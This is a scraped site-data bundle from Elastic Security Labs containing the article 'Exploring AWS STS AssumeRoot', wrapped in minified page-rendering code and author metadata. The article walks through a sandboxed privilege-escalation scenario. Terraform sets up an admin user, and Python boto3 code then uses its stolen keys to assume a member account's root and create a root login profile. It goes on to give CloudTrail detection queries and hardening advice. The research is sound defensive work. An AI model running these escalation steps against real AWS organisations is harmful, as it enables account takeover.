script)\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic, at its core, is open. This research illustrates this philosophy, and collaboration with the open-source community is an important way we support evolving detection engineering requirements. We are committed to refining our methodologies and sharing our lessons learned to strengthen the collective defense of enterprises. We\\u2019re more capable together.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We\\u2019re always interested in hearing about new use cases or workflows, so reach out to us via \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/issues\",rel:\"nofollow\",children:\"GitHub issues\"}),\", chat with us in our \",(0,t.jsx)(e.a,{href:\"http://ela.st/slack\",rel:\"nofollow\",children:\"community Slack\"}),\", and ask questions in our \",(0,t.jsx)(e.a,{href:\"https://discuss.elastic.co/c/security/endpoint-security/80\",rel:\"nofollow\",children:\"Discuss forums\"}),\". Learn more about detection engineering the Elastic way using the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-releases-debmm\",rel:\"nofollow\",children:\"DEBMM\"}),\". You can see the technology we leverage for this research and more by checking out \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"Elastic Security\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.\"})})]})}function F(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var O=F;return b(B);})();\n;return Component;"},"_id":"articles/detonating-beacons-to-illuminate-detection-gaps.mdx","_raw":{"sourceFilePath":"articles/detonating-beacons-to-illuminate-detection-gaps.mdx","sourceFileName":"detonating-beacons-to-illuminate-detection-gaps.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detonating-beacons-to-illuminate-detection-gaps"},"type":"Article","imageUrl":"/assets/images/detonating-beacons-to-illuminate-detection-gaps/Security Labs Images 31.jpg","readingTime":"13 min read","series":"","url":"/detonating-beacons-to-illuminate-detection-gaps","headings":[{"level":2,"title":"Tapping into OpenSource Red Team Contributions","href":"#tapping-into-opensource-red-team-contributions"},{"level":2,"title":"Experimentation Powered by Detonate","href":"#experimentation-powered-by-detonate"},{"level":2,"title":"Validating Behavior Detections via BOFs","href":"#validating-behavior-detections-via-bofs"},{"level":2,"title":"Framing a Proof of Concept","href":"#framing-a-proof-of-concept"},{"level":3,"title":"Scraping and Preprocessing BOFs \\- Phases 1 and 2","href":"#scraping-and-preprocessing-bofs---phases-1-and-2"},{"level":3,"title":"Submitting Detonations \\- Phase 3","href":"#submitting-detonations---phase-3"},{"level":3,"title":"BOF Detonate Examples ","href":"#bof-detonate-examples-"},{"level":3,"title":"Showing Results \\- Phase 4","href":"#showing-results---phase-4"},{"level":2,"title":"Additional Considerations","href":"#additional-considerations"}],"author":[{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"},{"title":"Miguel Garzon","slug":"miguel-garzon","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},u=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of l(n))!_.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=x(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?g(f(t)):{},u(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003eu(a({},\"__esModule\",{value:!0}),t);var c=j((b,i)=\u003e{i.exports=_jsx_runtime});var F={};M(F,{default:()=\u003eD,frontmatter:()=\u003ez});var r=d(c()),z={title:\"Miguel Garzon\",slug:\"miguel-garzon\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return p(F);})();\n;return Component;"},"_id":"authors/miguel-garzon.mdx","_raw":{"sourceFilePath":"authors/miguel-garzon.mdx","sourceFileName":"miguel-garzon.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/miguel-garzon"},"type":"Author","imageUrl":"","url":"/authors/miguel-garzon"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Exploring AWS STS AssumeRoot","slug":"exploring-aws-sts-assumeroot","date":"2024-12-10","description":"Explore AWS STS AssumeRoot, its risks, detection strategies, and practical scenarios to secure against privilege escalation and account compromise using Elastic's SIEM and CloudTrail data.","image":"Security Labs Images 20.jpg","subtitle":"AssumeRoot Abuse and Detection Strategies in AWS Organizations","body":{"raw":"\n## Preamble\n\nWelcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS Security Token Service(STS) API operation, AssumeRoot, simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic’s SIEM.\n\nWhat to expect from this article:\n\n* Basic insight into AWS STS web service \n* Insight into STS’ AssumeRoot API operation \n* Threat scenario using AssumeRoot with Terraform and Python code \n* Detection and hunting opportunities for potential AssumeRoot abuse\n\n## Understanding AWS STS and the AssumeRoot API\n\nAWS Security Token Service (STS) is a web service that enables users, accounts, and roles to request temporary, limited-privilege credentials. For IAM users, their accounts are typically registered in AWS Identity and Access Management (IAM), where either a login profile is attached for accessing the console or access keys, and secrets are created for programmatic use by services like Lambda, EC2, and others.\n\nWhile IAM credentials are persistent, [**STS credentials**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html#sts-regionalization) are temporary. These credentials \\- comprising an access key, secret key, and session token \\- are granted upon request and are valid for a specific period. Requests are typically sent to the global `sts.amazonaws.com` endpoint, which responds with temporary credentials for a user or role. These credentials can then be used to access other AWS services on behalf of the specified user or role, as long as the action is explicitly allowed by the associated permission policy.\n\nThis process is commonly known as assuming a role, executed via the [`AssumeRole`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) API. It is frequently used in AWS environments and organizations for various scenarios. For example:\n\n* An EC2 instance with an attached role will automatically use `AssumeRole` to retrieve temporary credentials for API requests. \n* Similarly, Lambda functions often invoke `AssumeRole` to authenticate and perform their designated actions.\n\nAlthough `AssumeRole` is incredibly useful, it can pose a risk if roles are over-permissioned by the organization. Misconfigured policies with excessive permissions can allow adversaries to abuse these roles, especially in environments where the [Principle of Least Privilege](https://docs.aws.amazon.com/wellarchitected/latest/framework/sec_permissions_least_privileges.html) (PoLP) is not strictly enforced. Note that the security risks associated with AssumeRole are typically attributed to misconfigurations or not following best security practices by organizations. These are not the result of AssumeRole or even AssumeRoot development decisions.\n\n### Introduction to AssumeRoot\n\nAWS recently introduced the `AssumeRoot` API operation to STS. Similar to `AssumeRole`, it allows users to retrieve temporary credentials \\- but specifically for the [root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) of a member account in an AWS organization.\n\n### What Are Member Accounts?\n\nIn AWS, [member accounts](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access.html) are separate accounts within an organization that have their own IAM users, services, and roles. These accounts are distinct from the management account, but they still fall under the same organizational hierarchy. Each AWS organization is created with a unique root account tied to the email address used during its setup. Similarly, every member account requires a root user or email address at the time of its creation, effectively establishing its own root identity.\n\n### How Does AssumeRoot Work?\n\nWhen a privileged user in the management account needs root-level privileges for a member account, they can use the `AssumeRoot` API to retrieve temporary credentials for the member account's root user. Unlike `AssumeRole`, where the target principal is a user ARN, the target principal for `AssumeRoot` is the member account ID itself. Additionally, a task policy ARN must be specified, which defines the specific permissions allowed with the temporary credentials.\n\nHere are the available task policy ARNs for `AssumeRoot`:\n\n* [IAMAuditRootUserCredentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMAuditRootUserCredentials) \n* [IAMCreateRootUserPassword](https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMCreateRootUserPassword) \n* [IAMDeleteRootUserCredentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMDeleteRootUserCredentials) \n* [S3UnlockBucketPolicy](https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-S3UnlockBucketPolicy) \n* [SQSUnlockQueuePolicy](https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-SQSUnlockQueuePolicy)\n\n### Potential Abuse of Task Policies\n\nWhile these predefined task policies limit what can be done with `AssumeRoot`, their scope can still be theoretically abused in the right circumstances. For example:\n\n* **IAMCreateRootUserPassword**: This policy grants the [`iam:CreateLoginProfile`](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html) permission, allowing the creation of a login profile for a user that typically doesn't require console access. If an adversary gains access to programmatic credentials, they could create a login profile and gain console access to the account that is more persistent. \n* **IAMDeleteRootUserCredentials**: This policy allows the deletion of root credentials, but also grants permissions like [`iam:ListAccessKeys`](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListAccessKeys.html) and [`iam:ListMFADevices`](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListMFADevices.html). These permissions could help an adversary gather critical information about access credentials or MFA configurations for further exploitation.\n\n## AssumeRoot in Action\n\nNow that we understand how AssumeRoot works at a high level, how it differs from AssumeRole, and the potential risks associated with improper security practices, let’s walk through a practical scenario to simulate its usage. It should be noted that this is one of many potential scenarios where AssumeRoot may or could be abused. As of this article's publication, no active abuse has been reported in the wild, as expected with a newer AWS functionality.\n\nBelow is a simple depiction of what we will accomplish in the following sections:\n\n\n\nBefore diving in, it’s important to highlight that we’re using an admin-level IAM user configured as the default profile for our local AWS CLI. This setup enables us to properly configure the environment using [Terraform](https://developer.hashicorp.com/terraform) and simulate potential threat scenarios in AWS for detection purposes.\n\n### Member Account Creation\n\nThe first step is to enable centralized root access for member accounts, as outlined in the [AWS documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts.html). Centralized root access allows us to group all AWS accounts into a single organization, with each member account having its own root user.\n\nNext, we manually create a member account within our organization through the Accounts section in the AWS Management Console. For this scenario, the key requirement is to note the member account ID, a unique 12-digit number. For our example, we’ll assume this ID is `000000000001` and name it *AWSAssumeRoot*. Centralized management of AWS accounts is a common practice for organizations that may separate different operational services into separate AWS accounts but want to maintain centralized management.\n\n\n\nWe also add the member account as the [delegated administrator](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_delegate_policies.html) for centralized root access as well, which allows that root member account to have centralized root access for any other member accounts of the organization.\n\nWhile we won’t cover it in depth, we have also enabled the new [Resource control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) (RCPs) within Identity and Access Management (IAM), which will allow central administration over permissions granted to resources within accounts in our organization, but by default, the *RCPFullAWSAccess* policy allows all permissions to all services for all principals and is attached directly to root.\n\n### Environment Setup\n\nFor our simulation, we use Terraform to create an overly permissive IAM user named compromised\\_user. This user is granted the predefined [AdministratorAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html) policy, which provides admin-level privileges. Additionally, we generated an access key for this user while intentionally omitting a login profile to reflect a typical setup where credentials are used programmatically. This is not an uncommon practice, especially in developer environments.\n\nBelow is the `main.tf` configuration used to create the resources:\n\n```\nprovider \"aws\" {\n region = var.region\n}\n\ndata \"aws_region\" \"current\" {}\n\n# Create an IAM user with AdministratorAccess (simulated compromised user)\nresource \"aws_iam_user\" \"compromised_user\" {\n name = \"CompromisedUser\"\n}\n\n# Attach AdministratorAccess Policy to the compromised user\nresource \"aws_iam_user_policy_attachment\" \"compromised_user_policy\" {\n user = aws_iam_user.compromised_user.name\n policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Create access keys for the compromised user\nresource \"aws_iam_access_key\" \"compromised_user_key\" {\n user = aws_iam_user.compromised_user.name\n}\n```\n\nWe also define an `outputs.tf` file to capture key details about the environment, such as the region, access credentials, and the user ARN:\n\n```\noutput \"aws_region\" {\n description = \"AWS Region where the resources are deployed\"\n value = var.region\n}\n\noutput \"compromised_user_access_key\" {\n value = aws_iam_access_key.compromised_user_key.id\n sensitive = true\n description = \"Access key for the compromised IAM user\"\n}\n\noutput \"compromised_user_secret_key\" {\n value = aws_iam_access_key.compromised_user_key.secret\n sensitive = true\n description = \"Secret key for the compromised IAM user\"\n}\n\noutput \"compromised_user_name\" {\n value = aws_iam_user.compromised_user.name\n description = \"Name of the compromised IAM user\"\n}\n\noutput \"compromised_user_arn\" {\n value = aws_iam_user.compromised_user.arn\n description = \"ARN of the compromised IAM user\"\n}\n```\n\nOnce we run `terraform apply`, the configuration creates a highly permissive IAM user (`compromised_user`) with associated credentials. These credentials simulate those that an adversary might obtain for initial access or escalating privileges.\n\nThis is one of the first hurdles for an adversary, collecting valid credentials. In today’s threat landscape information stealer malware and phishing campaigns are more common than ever, aimed at obtaining credentials that can be sold or used for lateral movement. While this is a hurdle, the probability of compromised credentials for initial access is high \\- such as those with [SCATTERED SPIDER](https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf) and [SCARLETEEL](https://sysdig.com/blog/scarleteel-2-0/).\n\n\n\n### Establish an STS Client Session with Stolen Credentials\n\nThe next step is to establish an STS client session using the compromised credentials (`compromised_user` access key and secret key). This session allows the adversary to make requests to AWS STS on behalf of the compromised user.\n\nHere’s the Python code to establish the STS client using the [AWS Boto3 SDK](https://aws.amazon.com/sdk-for-python/) (the AWS SDK used to create, configure, and manage AWS services, such as Amazon EC2 and Amazon S3). This Python code is used to create the STS client with stolen IAM user credentials:\n\n```\n sts_client = boto3.client(\n \"sts\",\n aws_access_key_id=compromised_access_key,\n aws_secret_access_key=compromised_secret_key,\n region_name=region,\n endpoint_url=f'https://sts.{region}.amazonaws.com'\n )\n ```\n\n\n\n**Note:** During testing, we discovered that the `endpoint_url` must explicitly point to `https://sts.\u003cregion\u003e.amazonaws.com`. Omitting this may result in an `InvalidOperation` error when attempting to invoke the `AssumeRoot` API.\n\nThis STS client session forms the foundation for simulating an adversary's actions as we have taken compromised credentials and initiated our malicious actions.\n\n### Assume Root for Member Account on Behalf of Compromised User\n\nAfter establishing an STS client session as the compromised user, we can proceed to call the AssumeRoot API. This request allows us to assume the root identity of a member account within an AWS Organization. For the request, the TargetPrincipal is set to the member account ID we obtained earlier, the session duration is set to 900 seconds (15 minutes), and the TaskPolicyArn is defined as `IAMCreateRootUserPassword`. This policy scopes the permissions to actions related to creating or managing root login credentials.\n\nA notable permission included in this policy is [`CreateLoginProfile`](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html), which enables the creation of a login password for the root user. This allows access to the AWS Management Console as the root user.\n\nBelow is the Python code to assume root of member account `000000000001`, with permissions scoped by *IAMCreateRootUserPassword*.\n\n```\nresponse = sts_client.assume_root(\n TargetPrincipal=member_account_id,\n DurationSeconds=900,\n TaskPolicyArn={\"arn\": \"arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword\"},\n)\nroot_temp_creds = response[\"Credentials\"]\n```\n\nIf the AssumeRoot request is successful, the response provides temporary credentials (`root_temp_creds`) for the root account of the target member. These credentials include an access key, secret key, and session token, enabling temporary root-level access for the duration of the session.\n\n \n\n### Creating a Login Profile for the Member Root Account\n\nWith temporary root credentials in hand, the next step is to establish an authenticated IAM client session as the root user of the member account. Using this session, we can call the `create_login_profile()` method. This method allows us to assign a login password to the root user, enabling console access.\n\nThe following Python code establishes an authenticated IAM client and creates a login profile:\n\n```\niam_client = boto3.client(\n \"iam\",\n aws_access_key_id=root_temp_creds[\"AccessKeyId\"],\n aws_secret_access_key=root_temp_creds[\"SecretAccessKey\"],\n aws_session_token=root_temp_creds[\"SessionToken\"],\n)\n\nresponse = iam_client.create_login_profile()\n```\n\nIt’s worth noting that the `create_login_profile()` method requires no explicit parameters for the root user, as it acts on the credentials of the currently authenticated session. In this case, it will apply to the root user of the member account.\n\n \n\n\n### Reset the Administrator Password and Login to the AWS Console\n\nAt this stage, we’re nearly complete\\! Let’s recap the progress so far:\n\n1. Using compromised IAM user credentials, we established an STS session to assume the identity of an overly permissive user. \n2. Leveraging this session, we assumed the identity of the root user of a target member account, acquiring temporary credentials scoped to the `IAMCreateRootUserPassword` task policy. \n3. With these temporary root credentials, we established an IAM client session and successfully created a login profile for the root user.\n\nThe final step involves resetting the root user password to gain permanent access to the AWS Management Console. To do this, visit the AWS console login page and attempt to log in as the root user. Select the “Forgot Password” option to initiate the password recovery process. This will prompt a CAPTCHA challenge, after which a password reset link is sent to the root user’s email address. This would be the third roadblock for an adversary as they would need access to the root user’s email inbox to continue with the password reset workflow. It should be acknowledged that if *CreateLoginProfile* is called, you can specify the password for the user and enforce a “password reset required”. However, this is not allowed for root accounts by default, and for good reason by AWS. Unlike the first hurdle of having valid credentials, access to a user’s inbox may prove more difficult and less likely, but again, with enough motivation and resources, it is still possible.\n\n\n\nAfter selecting the password reset link, you can set a new password for the root user. This step provides lasting access to the console as the root user. Unlike the temporary credentials obtained earlier, this access is no longer limited by the session duration or scoped permissions of the IAMCreateRootUserPassword policy, granting unrestricted administrative control over the member account.\n\n\n\n**Before moving on, if you followed along and tried this in your environment, we want to gently remind you to use Terraform to remove testing resources** using the terraform destroy command in the same folder where you initialized and deployed the resources.\n\n## Detection and Hunting Opportunities\n\nWhile exploring cloud features and APIs from an adversary's perspective is insightful, our ultimate responsibility lies in detecting and mitigating malicious or anomalous behavior, alerting stakeholders, and responding effectively. Also, while such a scenario has not been publicly documented in the wild, we should not wait to be a victim either and be reactive, hence the reason for our whitebox scenario.\n\nThe following detection and hunting queries rely on AWS CloudTrail data ingested into the Elastic Stack using the [AWS integration](https://www.elastic.co/docs/current/integrations/aws). If your environment differs, you may need to adjust these queries for custom ingestion processes or adapt them for a different SIEM or query tool.\n\n**Note:** Ensure that AWS CloudTrail is enabled for all accounts in your organization to provide comprehensive visibility into activity across your AWS environment. You may also need to enable the specific trail used for monitoring across the entire organization so all member accounts are observed properly.\n\n### Hunting \\- Unusual Action for IAM User Access Key\n\nThis query identifies potentially compromised IAM access keys that are used to make unusual API calls. It sorts the results in ascending order to surface less frequent API calls within the last two weeks. This query can be adjusted to account for different API calls or include other CloudTrail-specific fields.\n\nHunting Query: [AWS IAM Unusual AWS Access Key Usage for User](https://github.com/elastic/detection-rules/blob/7b88b36d294407cc1ea2ab1b0acbbbf3104162a9/hunting/aws/docs/iam_unusual_access_key_usage_for_user.md)\n\nMITRE ATT\\\u0026CK: \n\n* T1078.004 \\- [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/)\n\nLanguage: ES|QL\n\n```\nFROM logs-aws.cloudtrail*\n| WHERE @timestamp \u003e now() - 14 day\n| WHERE\n event.dataset == \"aws.cloudtrail\"\n and event.outcome == \"success\"\n and aws.cloudtrail.user_identity.access_key_id IS NOT NULL\n and aws.cloudtrail.resources.arn IS NOT NULL\n and event.action NOT IN (\"GetObject\")\n| EVAL daily_buckets = DATE_TRUNC(1 days, @timestamp)\n| STATS\n api_counts = count(*) by daily_buckets, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id, aws.cloudtrail.resources.arn, event.action\n| WHERE api_counts \u003c 2\n| SORT api_counts ASC\n```\n\n### Detection \\- Unusual Assume Root Action by Rare IAM User\n\nDetection Rule: [AWS STS AssumeRoot by Rare User and Member Account](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/privilege_escalation_sts_assume_root_from_rare_user_and_member_account.toml)\n\nThis query identifies instances where the `AssumeRoot` API call is made by an IAM user ARN and member account that have not performed this action in the last 14 days. This anomaly-based detection uses Elastic’s [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) detection rule.\n\n* The `aws.cloudtrail.user_identity.arn` field identifies the source IAM user from the management AWS account. \n* The `aws.cloudtrail.resources.account_id` field reflects the target member account.\n\nMITRE ATT\\\u0026CK: \n\n* T1548.005 \\- [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005/) \n* T1098.003 \\- [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003/)\n\nLanguage: KQL\n\n```\nevent.dataset: \"aws.cloudtrail\"\n and event.provider: \"sts.amazonaws.com\"\n and event.action: \"AssumeRoot\"\n and event.outcome: \"success\"\n```\n\nNew Term Fields: \nIf any combination of these fields has not been seen executing AssumeRoot within the last 14 days, an alert is generated.\n\n* `aws.cloudtrail.user_identity.arn` \n* `aws.cloudtrail.resources.account_id`\n\n### Detection \\- Self-Created Login Profile for Root Member Account\n\nThis query detects instances where a login profile is created for a root member account by the root account itself, potentially indicating unauthorized or anomalous behavior.\n\nDetection Rule: [AWS IAM Login Profile Added for Root](https://github.com/elastic/detection-rules/blob/4374128458d116211d5d22993b6d87f6c82a30a0/rules/integrations/aws/persistence_iam_create_login_profile_for_root.toml)\n\nMITRE ATT\\\u0026CK:\n\n* T1098.003 \\- [Account Manipulation: Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003/) \n* T1548.005 \\- [Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005/) \n* T1078.004 \\- [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/)\n\nLanguage: ES|QL\n\n```\nFROM logs-aws.cloudtrail* \n| WHERE\n // filter for CloudTrail logs from IAM\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"iam.amazonaws.com\"\n // filter for successful CreateLoginProfile API call\n and event.action == \"CreateLoginProfile\"\n and event.outcome == \"success\"\n // filter for Root member account\n and aws.cloudtrail.user_identity.type == \"Root\"\n // filter for an access key existing which sources from AssumeRoot\n and aws.cloudtrail.user_identity.access_key_id IS NOT NULL\n // filter on the request parameters not including UserName which assumes self-assignment\n and NOT TO_LOWER(aws.cloudtrail.request_parameters) LIKE \"*username*\"\n| keep\n @timestamp,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.access_key_id,\n cloud.account.id,\n event.action,\n source.address\n source.geo.continent_name,\n source.geo.region_name,\n source.geo.city_name,\n user_agent.original,\n user.id\n```\n\nThese detections are specific to our scenario, however, are not fully inclusive regarding all potential AssumeRoot abuse. If you choose to explore and discover some additional hunting or threat detection opportunities, feel free to share in our [Detection Rules](https://github.com/elastic/detection-rules) repository or the [Threat Hunting](https://github.com/elastic/detection-rules/tree/main/hunting) library of ours.\n\n## Hardening Practices for AssumeRoot Use\n\nAWS [documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) contains several important considerations for best security practices regarding IAM, STS, and many other services. However, cloud security is not a “one size fits all” workflow and security practices should be tailored to your environment, risk-tolerance, and more.\n\n**Visibility is Key:** If you can’t see it, you can’t protect it. Start by enabling CloudTrail with organization-wide trails to log activity across all accounts. Focus on capturing IAM and STS operations for insights into access and permission usage. Pair this with Security Hub for continuous monitoring and tools like Elastic or GuardDuty to hunt for unusual AssumeRoot actions.\n\n**Lock Down AssumeRoot Permissions:** Scope AssumeRoot usage to critical tasks only, like audits or recovery, by restricting task policies to essentials like IAMAuditRootUserCredentials. Assign these permissions to specific roles in the management account and keep those roles tightly controlled. Regularly review and remove unnecessary permissions to maintain the PLoP.\n\n**MFA and Guardrails for Root Access:** Enforce MFA for all users, especially those with access to AssumeRoot. Use AWS Organizations to disable root credential recovery unless absolutely needed and remove unused root credentials entirely. RCPs can help centralize and tighten permissions for tasks involving AssumeRoot or other sensitive operations.\n\n# Conclusion\n\nWe hope this article provides valuable insight into AWS’ AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS.\n","code":"var Component=(()=\u003e{var h=Object.create;var i=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(o,e)=\u003e()=\u003e(e||o((e={exports:{}}).exports,e),e.exports),w=(o,e)=\u003e{for(var s in e)i(o,s,{get:e[s],enumerable:!0})},a=(o,e,s,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of m(e))!g.call(o,n)\u0026\u0026n!==s\u0026\u0026i(o,n,{get:()=\u003ee[n],enumerable:!(r=u(e,n))||r.enumerable});return o};var 